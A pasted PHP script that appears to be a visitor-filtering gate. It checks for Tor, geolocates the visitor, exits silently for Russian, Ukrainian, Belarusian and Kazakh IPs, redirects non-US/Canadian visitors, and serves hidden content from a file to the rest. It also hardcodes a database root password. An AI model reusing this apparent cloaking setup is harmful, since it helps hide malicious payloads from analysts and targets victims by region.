Advertisement
Guest User

Untitled

a guest
Jan 21st, 2019
126
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.19 KB | None | 0 0
  1. <?php
  2. error_reporting(-1); // reports all errors
  3. ini_set("display_errors", "1"); // shows all errors
  4. ini_set("log_errors", 1);
  5.  
  6.  
  7. //echo "script start ";
  8.  
  9. require 'vendor/autoload.php';
  10. require_once 'TorDetect.php';
  11. use GeoIp2\Database\Reader;
  12.  
  13.  
  14.  
  15.  
  16. $url = "";
  17. $host = 'localhost';
  18. $db = 'testtest';
  19. $user = 'root';
  20. $pass = 'flsGxvQTxT';
  21. $charset = 'utf8';
  22.  
  23. $dsn = "mysql:host=$host;dbname=$db;charset=$charset";
  24. $opt = [
  25. PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
  26. PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
  27. PDO::ATTR_EMULATE_PREPARES => false,
  28. ];
  29. $pdo = new PDO($dsn, $user, $pass, $opt);
  30.  
  31. $ip = getIP();
  32.  
  33. if (strpos($ip, ',') !== false) {
  34. $ip_arr = explode(",", $ip);
  35. $ip = $ip_arr[0];
  36.  
  37. }
  38.  
  39. if($ip == "67.137.36.66")
  40. {exit;}
  41.  
  42.  
  43. $sng_codes = [
  44. 'RU',
  45. 'UA',
  46. 'BY',
  47. 'KZ'
  48. ];
  49.  
  50. $allowed_codes = [
  51. 'CA',
  52. 'US'
  53. ];
  54.  
  55.  
  56.  
  57. $instance = \TorDetect\TorDetect::getInstance();
  58.  
  59.  
  60. //$host= gethostname(); $serv_ip = gethostbyname($host);
  61.  
  62. //$is_tor = $tor_detector->check($ip, 80, $serv_ip);
  63.  
  64.  
  65.  
  66.  
  67.  
  68. //echo "tor check start ";
  69. $is_tor = $instance->isTorActive();
  70.  
  71.  
  72. //echo "tor check end ";
  73.  
  74. try{
  75.  
  76. $reader = new Reader('GeoIP2-City.mmdb');
  77.  
  78. $record = $reader->city($ip);
  79. $country = $record->country->name;
  80. $cc = $record->country->isoCode;
  81. //add to db info
  82.  
  83. }
  84. catch (GeoIp2\Exception\AddressNotFoundException $e ){
  85. $country = "Not found";
  86. $cc = "NotF";
  87. }
  88.  
  89.  
  90. //echo "sng check start ";
  91. if(in_array($cc, $sng_codes))
  92. {
  93. exit;
  94. }
  95.  
  96. if(!in_array($cc, $allowed_codes))
  97. {
  98.  
  99. echo "http://yandex.com";
  100. exit;
  101. }
  102.  
  103. //echo "sng check end ";
  104. $date = date('Y-m-d H:i:s');
  105. $q = $pdo->prepare('insert into `hits` (ip, country, date) values (:ip, :country, :date) ');
  106. $q->bindParam(':ip', $ip);
  107. $q->bindParam(':country', $country);
  108. $q->bindParam(':date', $date);
  109. $q->execute();
  110. echo "";
  111. echo file_get_contents("caa.txt");
  112. echo $url;
  113.  
  114.  
  115.  
  116.  
  117. function getIP()
  118. {
  119. if (isset($_SERVER["HTTP_X_REAL_IP"]))
  120. return $_SERVER["HTTP_X_REAL_IP"];
  121. else if (isset($_SERVER["HTTP_X_FORWARDED_FOR"]))
  122. return $_SERVER ["HTTP_X_FORWARDED_FOR"];
  123. return $_SERVER['REMOTE_ADDR'];
  124. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement